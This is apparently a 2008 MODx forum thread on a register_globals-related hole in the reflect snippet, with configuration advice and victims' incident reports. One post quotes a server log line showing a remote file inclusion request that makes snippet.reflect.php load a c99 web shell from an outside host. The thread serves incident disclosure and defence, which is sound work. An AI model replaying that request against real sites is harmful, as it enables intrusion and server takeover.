0.9.6.2 security problem with reflect snippets

For servers running PhpSuExec, you usually need a separate php.ini in each directory where it is required. To avoid this requirement you can add this line to your .htaccess file:

then the php.ini in that directory will apply to your whole site.

Quote from: twz at Nov 26, 2008, 08:59 PM

For servers running PhpSuExec, you usually need a separate php.ini in each directory where it is required. To avoid this requirement you can add this line to your .htaccess file:

SetEnv PHPRC /home/myusername/public_html/subdir

then the php.ini in that directory will apply to your whole site.

Not all servers allow PHP directives in .htaccess files either, unfortunately (you’ll get a 500 error if you try). PHP installations on shared hosts can be remarkably variable, which is why there’s no one sure-fire solution for making certain that register_globals is set to OFF in all publicly-accessible directories (although the standard .htaccess setting included with the main MODx .htaccess file works for most of the servers that I’ve encountered). I recommend that anyone who is unsure or having trouble setting register_globals to OFF on a hosted server contact their server admins and ask them either to explain the proper method for doing this on that server or to just do it for you.

There is no general solution beacause every hosting company defines it’s own way to set config data. I only knew some german hosting provider for virtual server, there you can set it global in the php config file, you could also set it in .htaccess, your apache config - but it is very dependend on your hosting plan and your service provider.

I think that there was or is an module for php which scans the scripts with clamav, but I don’t know if this solution will make the server more secure.

There a possibilities to keep scripts secure, may through a setting in context of php config or a simple call within the php-file. I remeber that mambo / joomla requests in every extension an defined constant if the extension was regulary included or direct accessed, perhaps that is another way to secure the snippet’s and other stuff from bad external calls?

MODx already has its own internal checks for scripts being run in the proper context, etc. The issue here is that the reflect snippet code is being run outside of MODx and on its own it can be abused if register_globals is set to ON. Adding code to the top of this snippet sample to test whether it’s being executed inside MODx as expected would stop it from running on its own (as would changing its extension to .txt, setting its permissions to not allow execution, rewriting the code to disallow global vars, etc.), but I maintain that the problem is not this one specific instance of an exploit but the gaping hole through which all of these exploits enter (register_globals set to ON).

If there’s one clear message that I would really hope that people learn from this experience it is this: MAKE ABSOLUTELY SURE THAT REGISTER_GLOBALS IS SET TO OFF EVERYWHERE AND ALWAYS!

There is no reason to leave register_globals set to ON anymore. In the exceptionally rare situation where you find old scripts that require it in order to run, you should patch them or stop using that software. Any code that relies on register_globals set to ON is guaranteed to be dangerously outdated, so this is a giant red flag.

Most of the time you will be able to set register_globals to OFF using the directive in the main MODx .htaccess file (and you can confirm that it worked by clicking on Reports -> System Info -> phpInfo() ). If that doesn’t work, then you should contact your server admins to find out how to do this on your server. What you should not do is ignore it and figure that since the scripts run it’s probably not important anyway.

Quote from: ZAP at Nov 27, 2008, 11:45 AM

If there’s one clear message that I would really hope that people learn from this experience it is this: MAKE ABSOLUTELY SURE THAT REGISTER_GLOBALS IS SET TO OFF EVERYWHERE AND ALWAYS!

This is the point, I totaly agree with this.

Further to this guys,

I thought I’d update everyone on an attack a site I was developing for had.

I’m on the phone right now with the ISP, but this IS an issue to those effected.

I’ll share more soon.

Just be on the lookout for UnrealIRC

Hi guys I just thought I shared what I’m in the middle of at the moment.

Here’s the prelim results of what to look out for.

I had the reflect snippet code installed, and I got a nice phone call from the host where a site I developed was on, telling me there was a security issue.... I thought, oh yeah. ’fix it then.’ They did, and broke the site. They were referring to the cache and images directories, which are not security issues, they just allow a one way file to be updated for the manager.

Anyway, the site was then restored.

However, yesterday the problem got worse, and the site was shutdown and I was told of the full extent, and which actual file was to blame. All points for them picking this up!

The bad file was the snippet code assets/snippets/reflect/snippet.reflect.php

The buggers accessed it like so: GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http%3A%2F%2Fwww.kuiwa.at%2Fc99.txt%3F%3F&act=img&mg=ext_hibur
(yes this is a partial server log.)

( <http://www.kuiwa.at%2Fc99.txt%3F%3F&act=img&img=ext_hibur> HTTP/1.1 )

The short of it is this.

While backing up the site (just in case) I noticed a strange directory which I know I didn’t put on the server. They had copied an IRC server to \assets\galleries\apache\unreal3.2.7\

This directory also had a changed permission and owner to apache, so on our normal ftp access, you can’t delete it.

From what I can understand, the server was brought down by this gaming IRC server.

Yes, my web server did have globals on. But maybe they will change it now...

But we are working to get it up and running. So far it appears that nothing else has been compromised. I am throughly checking for anything else strange. It appears ok so far though.

They did also put in a couple of other strange files in weird places as well.

All scripts.

If there is much more, I will let you know.

You can’t be sure that no other files were compromised or back doors added, so I don’t think you have any choice but to start over from a clean backup. And of course you have to set register_globals to OFF. Deleting the reflect snippet file will close this one hole, but you’re playing with fire if you leave register_globals set to ON.

just to reply that i have had the same problem.
My site was also used for a spam network via the reflect snippet.

I have now removed the whole snippet dir, but you guys really need to fix this...

Quote from: DNA at Dec 05, 2008, 03:32 AM

just to reply that i have had the same problem.
My site was also used for a spam network via the reflect snippet.

I have now removed the whole snippet dir, but you guys really need to fix this...

DNA is not a modx related pb it is an php configuration related pb on many sharing hosting.. (been hack too recently..)
Don’t think theres is solutions in modx adapted to any cases.. yet (?) but theres is ways to turn off register global on off
by htacess or a little php.ini and for the reflects snippets solutions have been said in the security boards.

I do believe the modx team do their best but it takes time to wrap our head around all you/we need to know to use such a great
CMS (wich even in beta is marvelous..) and differents kind of serveur.

we keep learning everyday, the things is to always have a backup copy on local + sql dump at least i believe because trojan won’t stop soon and it as always been a race in this domain.
And things take time to be done well that’is why tthere is alpha/beta and wow a revolution next year (oh my i will have to print and or read the documentation again ... and maybe decide for an another cms/plain old Xhtmletc.. for little project that have to be done very quickly..)

I took my lessons by this hijack at least..
Please just keep going modx core team We need to have a great 2009 year all around in the world !